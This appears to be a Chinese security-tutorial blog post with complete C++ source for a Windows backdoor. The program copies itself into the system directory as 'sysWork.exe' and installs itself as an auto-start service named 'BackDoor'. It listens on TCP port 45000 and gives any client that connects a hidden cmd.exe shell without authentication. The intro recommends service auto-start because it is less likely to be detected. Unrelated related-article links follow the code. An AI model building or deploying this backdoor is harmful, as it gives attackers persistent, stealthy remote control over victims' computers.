安全之路 —— C/C++实现后门的服务自启动
简介
Windows NT系统后门要实现自启动,有许多种方法,例如注册表自启动,映像劫持技术,SVCHost自启动以及本章节介绍的服务自启动等方法,其中服务自启动相对于上述其他三种需要修改注册表的启动方式而言更不容易被发现。
C++代码样例
//////////////////////////////////////////////////////////////
//
// FileName : ServiceAutoRunDemo.cpp
// Creator : PeterZ1997
// Date : 2018-5-4 23:19
// Comment : Create Service to make the BackDoor Run Automatically
//
//////////////////////////////////////////////////////////////
#include <iostream>
#include <WinSock2.h>
#include <winsock.h>
#include <windows.h>
#include <Winsvc.h>
#include <cstdio>
#include <cstring>
#pragma comment(lib, "ws2_32.lib")
using namespace std;
#define SERVICE_OP_ERROR -1
#define SERVICE_ALREADY_RUN -2
const unsigned int MAX_COUNT = 255; /// String Max Length
const DWORD PORT = 45000; /// Listen Port
const unsigned int LINK_COUNT = 30; /// Max Link Number
SERVICE_STATUS g_ServiceStatus;
SERVICE_STATUS_HANDLE g_hServiceStatus;
/**
* @brief CallBack Function to Translate Service Control Code
* @param dwCode Service Control Code
*/
void WINAPI ServiceControl(DWORD dwCode)
{
switch (dwCode)
{
//服务暂停
case SERVICE_CONTROL_PAUSE:
g_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
//服务继续
case SERVICE_CONTROL_CONTINUE:
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
//服务停止
case SERVICE_CONTROL_STOP:
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;
g_ServiceStatus.dwWaitHint = 0;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
//设置服务状态
if (SetServiceStatus(g_hServiceStatus, &g_ServiceStatus) == 0)
{
printf("Set Service Status Error\n");
}
return;
}
/**
* @brief Start Remote Shell
* @lpParam the Client Handle
*/
DWORD WINAPI StartShell(LPVOID lpParam)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
CHAR cmdline[MAX_COUNT] = { 0 };
GetStartupInfo(&si);
si.cb = sizeof(STARTUPINFO);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)lpParam;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
GetSystemDirectory(cmdline, sizeof(cmdline));
strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe");
while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
{
Sleep(100);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
/**
* @brief Service Running Function
* @lpParam NULL
*/
DWORD WINAPI RunService(LPVOID lpParam)
{
CHAR wMessage[MAX_COUNT] = "<================= Welcome to Back Door >_< ==================>\n";
SOCKET sClient[30];
DWORD dwThreadId[30];
HANDLE hThread[30];
WSADATA wsd;
if (WSAStartup(0x0202, &wsd))
{
printf("WSAStartup Process Error\n");
return 0;
}
SOCKET sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(PORT);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if (bind(sListen, (LPSOCKADDR)&sin, sizeof(sin))) return 0;
if (listen(sListen, LINK_COUNT)) return 0;
for (int i = 0; i < LINK_COUNT; i++)
{
sClient[i] = accept(sListen, NULL, NULL);
hThread[i] = CreateThread(NULL, 0, StartShell, (LPVOID)sClient[i], 0, &dwThreadId[i]);
send(sClient[i], wMessage, strlen(wMessage), 0);
}
WaitForMultipleObjects(LINK_COUNT, hThread, TRUE, INFINITE);
return 0;
}
/**
* @brief the Main Function of the Service
*/
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpArgv)
{
HANDLE hThread;
g_ServiceStatus.dwCheckPoint = 0;
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_STOP;
g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
g_ServiceStatus.dwServiceSpecificExitCode = 0;
g_ServiceStatus.dwServiceType = SERVICE_WIN32;
g_ServiceStatus.dwWaitHint = 0;
g_ServiceStatus.dwWin32ExitCode = 0;
g_hServiceStatus = RegisterServiceCtrlHandler("BackDoor", ServiceControl);
if (!g_hServiceStatus)
{
printf("Register Service Error\n");
return;
}
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
g_ServiceStatus.dwCheckPoint = 0;
g_ServiceStatus.dwWaitHint = 0;
if (!SetServiceStatus(g_hServiceStatus, &g_ServiceStatus))
{
printf("Set ServiceStatus Error !\n");
return;
}
hThread = CreateThread(NULL, 0, RunService, NULL, 0, NULL);
if (!hThread)
{
printf("Create Thread Error\n");
}
return;
}
/**
* @brief Install Service
*/
int APIENTRY InstallService()
{
DWORD dwErrorCode;
SC_HANDLE hscManager;
SC_HANDLE hServiceHandle;
SERVICE_STATUS ssServiceStatus;
CHAR szSystemPath[MAX_COUNT] = "\0";
CHAR szFileSelfPath[MAX_COUNT] = "\0";
GetSystemDirectory(szSystemPath, sizeof(szSystemPath));
GetModuleFileName(NULL, szFileSelfPath, sizeof(szFileSelfPath));
strcat_s(szSystemPath, "\\sysWork.exe");
CopyFile(szFileSelfPath, szSystemPath, true);
hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!hscManager)
{
printf("Can not Open the Service Manager\n");
return SERVICE_OP_ERROR;
}
printf("Service Manager Opened Success\n");
hServiceHandle = CreateService(hscManager, "BackDoor", "BackDoor", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, szSystemPath, NULL, NULL, NULL, NULL, NULL);
if (!hServiceHandle)
{
dwErrorCode = GetLastError();
if (dwErrorCode == ERROR_SERVICE_EXISTS)
{
hServiceHandle = OpenService(hscManager, "BackDoor", SERVICE_ALL_ACCESS);
if (!hServiceHandle)
{
printf("Can not Create/Open Service\n");
CloseServiceHandle(hServiceHandle);
return SERVICE_OP_ERROR;
}
else
{
printf("Service Opened Success\n");
}
}
}
else {
printf("Service Create Success\n");
}
if (!StartService(hServiceHandle, 0, NULL))
{
dwErrorCode = GetLastError();
if (dwErrorCode == ERROR_SERVICE_ALREADY_RUNNING)
{
printf("SERVEICE IS ALREADY RUNNING\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_ALREADY_RUN;
}
else
{
printf("SERVEICE START ERROR\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
}
while (QueryServiceStatus(hServiceHandle, &ssServiceStatus))
{
if (ssServiceStatus.dwCurrentState == SERVICE_START_PENDING)
{
Sleep(100);
continue;
}
if (ssServiceStatus.dwCurrentState != SERVICE_RUNNING)
{
printf("Service Start Process ERROR\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
else
{
break;
}
}
if (!QueryServiceStatus(hServiceHandle, &ssServiceStatus))
{
printf("Service Status Get Error\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
printf("Service Start Success\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return 0;
}
/**
* @brief Remove Service
*/
int RemoveService()
{
SC_HANDLE hscManager;
SC_HANDLE hServiceHandle;
SERVICE_STATUS ssServiceStatus;
hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!hscManager)
{
printf("Open Service Manager Error\n");
return SERVICE_OP_ERROR;
}
printf("Open Service Manager Success\n");
hServiceHandle = OpenService(hscManager, "BackDoor", SERVICE_ALL_ACCESS);
if (!hServiceHandle)
{
printf("Open Service Error\n");
return SERVICE_OP_ERROR;
}
printf("Open Service Success\n");
if (QueryServiceStatus(hServiceHandle, &ssServiceStatus))
{
if (ssServiceStatus.dwCurrentState == SERVICE_RUNNING)
{
ControlService(hServiceHandle, SERVICE_CONTROL_STOP, &ssServiceStatus);
}
}
else
{
printf("Service Status Get Error\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
if (!DeleteService(hServiceHandle))
{
printf("Delete Service Error\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
printf("Remove Service Success\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return 0;
}
/**
* @brief main Function
*/
int main(int argc, char* argv[])
{
SERVICE_TABLE_ENTRY svTable[] = {
{(LPSTR)"BackDoor",ServiceMain},
{NULL,NULL}
};
StartServiceCtrlDispatcher(svTable);
if (argc == 2)
{
if (!stricmp(argv[1], "--install"))
{
if (InstallService() == SERVICE_OP_ERROR)
{
printf("[!]Service Operation Error\n");
}
else
{
printf("[*]Service Operation Success\n");
}
}
else if (!stricmp(argv[1], "--remove"))
{
if (RemoveService() == SERVICE_OP_ERROR)
{
printf("[!]Service Operation Error\n");
}
else
{
printf("[*]Service Operation Success\n");
}
}
else
{
printf("[Usage] => *.exe [--install]/[--remove]\n");
}
}
else {
printf("[Usage] => *.exe [--install]/[--remove]\n");
}
return 0;
}
安全之路 —— C/C++实现后门的服务自启动的更多相关文章
- SHIFT后门拿服务器之方法总结
提权工具如下:cmd.exe Churrasco.exe nc.exe 提权前提:Wscript组件成功开启 如果Wscript组件被关闭,则使用以下方法开启: 源代码: <object run ...
- 物联网架构成长之路(22)-Docker练习之Etcd服务搭建
0. 前言 时隔多日,前段时间忙完一个可有可无的项目后,又进入摸鱼时间,没有办法,非互联网公司,就是闲得蛋疼.又开始了自学之路.以前入门过Docker,然后又很久没有看了,最近重新看了一下,推荐一下这 ...
- Linux上天之路(十二)之服务管理
主要内容 服务介绍 独立服务 非独立服务 1. 服务介绍 服务:常驻在内存中的程序,且可以提供一些系统或网络功能,那就是服务. 计算机中的系统服务有很多,比如: apache提供web服务 ftp提供 ...
- 物联网架构成长之路(30)-Spring Boot Admin微服务WebUI监控
0. 前言 一个完整的微服务解决方案包含了许多微服务,基于我们需要观察各个微服务的运行状态,因此Spring Boot 生态提供了Spring Boot Admin 这个组件来实现微服务管理WEB U ...
- NET Core微服务之路:自己动手实现Rpc服务框架,基于DotEasy.Rpc服务框架的介绍和集成
本篇内容属于非实用性(拿来即用)介绍,如对框架设计没兴趣的朋友,请略过. 快一个月没有写博文了,最近忙着两件事; 一:阅读刘墉先生的<说话的魅力>,以一种微妙的,你我大家都会经常遇见 ...
- 物联网架构成长之路(18)-接阿里云OSS服务
1.申请/购买OSS服务 在阿里云上申请/购买OSS服务, 然后在会得AccessKeyID,AccessKeySecret,bucketName 这三个东西 2.增删改查 在pom.xml文件上增加 ...
- 物联网架构成长之路(23)-Docker练习之Elasticsearch服务搭建
0. 前言 最近基本都是学一些环境配置,和一些中间件的安装与配置.没有实际编写代码.可能看起来有点水,我对自己的学习方式是,先要了解各个中间件的安装配置以及简单使用,理论应用场景,然后我在小项目中,逐 ...
- Kubernetes学习之路(十四)之服务发现Service
一.Service的概念 运行在Pod中的应用是向客户端提供服务的守护进程,比如,nginx.tomcat.etcd等等,它们都是受控于控制器的资源对象,存在生命周期,我们知道Pod资源对象在自愿或非 ...
- MySQL学习之路1-Mac下启动连接MySQL服务
MySQL简介 (MySQL是目前最流行的关系型数据库管理系统,现属于Oracle公司.) MySQL主要特点: 支持大型数据库,支持5000万条记录的数据仓库,32位系统表文件最大可支持4GB,64 ...
随机推荐
- 【IT笔试面试题整理】给定二叉树先序中序,建立二叉树的递归算法
[试题描述]: 给定二叉树先序中序,建立二叉树的递归算法 其先序序列的第一个元素为根节点,接下来即为其左子树先序遍历序列,紧跟着是右子树先序遍历序列,固根节点已可从先序序列中分离.在中序序列中找到 ...
- (转)mysql升级5.5.20时遇到的问题:1548-Cannot load from mysql.proc. The table is probably corrupted
LINUX下将mysql从5.1升级至5.5后,发现存储过程不能用了.创建和使用存储过程时就会提示Cannot load from mysql.proc. The table is probably ...
- Docker基础教程(安装篇)
Linux安装: 1.yum -y install docker-io 2.service docker start 3.chkconfig docker on Window安装: Docker 引擎 ...
- es6学习笔记11--Proxy和Reflect
Proxy概述 Proxy用于修改某些操作的默认行为,等同于在语言层面做出修改,所以属于一种“元编程”(meta programming),即对编程语言进行编程. Proxy可以理解成,在目标对象之前 ...
- Java类MemoryUsage查看虚拟机的使用情况
原文地址:https://www.cnblogs.com/xubiao/p/5465473.html Java类MemoryUsage,通过MemoryUsage可以查看Java 虚拟机的内存池的内存 ...
- Spring学习之路-从放弃到入门
AOP:方法拦截器 IOC:类管理容器 主要讲讲这一天看Spring视频学到的东西,以下的叫法全是自创的. 1.类实例管理容器 关于Spring,首先是对类的管理,在常规情况,生成一个类需要调用new ...
- [转]DevOps解决方案-腾讯云
本文转自:https://cloud.tencent.com/solution/devops 什么是 DevOps? DevOps 集文化理念.实践和工具于一身,可以提高企业高速交付应用程序和服务 ...
- HTML5 FileReader实现图片上传前预览
如果你的浏览器支持Html5的FileReader的话,实现图片上传前进行预览是一件非常容易之事情. 在控制器,创建一个视图Action: jQuery代码: 实时演示一下: 下面内容于2014-11 ...
- WebFrom 【内置对象】— —跳转页面,页面传值
Response -- 响应请求对象 传值 Response.Redirect("url"); -- 地址?变量= 值 Response -- ...
- Java基础之多态性
class A { public void fun1(){ System.out.println("A--->public fun1()"); } public void f ...